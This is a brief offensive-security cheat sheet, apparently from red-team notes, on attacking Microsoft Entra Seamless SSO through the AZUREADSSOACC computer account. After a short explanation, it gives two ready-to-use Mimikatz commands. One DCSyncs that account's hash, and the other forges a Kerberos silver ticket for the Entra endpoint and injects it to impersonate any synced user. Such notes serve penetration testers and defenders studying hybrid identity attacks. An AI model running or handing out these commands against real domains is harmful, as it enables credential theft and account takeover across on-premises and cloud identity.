# Seamless SSO

### Overview

> Supported by both PHS and PTA.

Entra Seamless SSO automatically signs users in when they are using an on-premises domain-joined machine, eliminating the need to enter passwords when accessing Entra ID or on-premises applications.

> This endpoint accepts Kerberos tickets:\
> <https://autologon.microsoftazuread-sso.com>

When used **AZUREADSSOACC** is created in on-prem. This account's kerberos decryption key is shared with Entra ID.

**NTLM hash of the AZUREADSSOACC = Silver Ticket for any synced on-prem user.**

### Silver Ticket

```ps1
Invoke-Mimikatz -Command '"lsadump::dcsync /user:[domain]\azureadssoacc$
/domain:[domain] /dc:[dc_alias]"'
```

```ps1
Invoke-Mimikatz -Command '"kerberos::golden /user:[user] /sid:[sid] /id:1108 /domain:[domain] /rc4:<> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
```
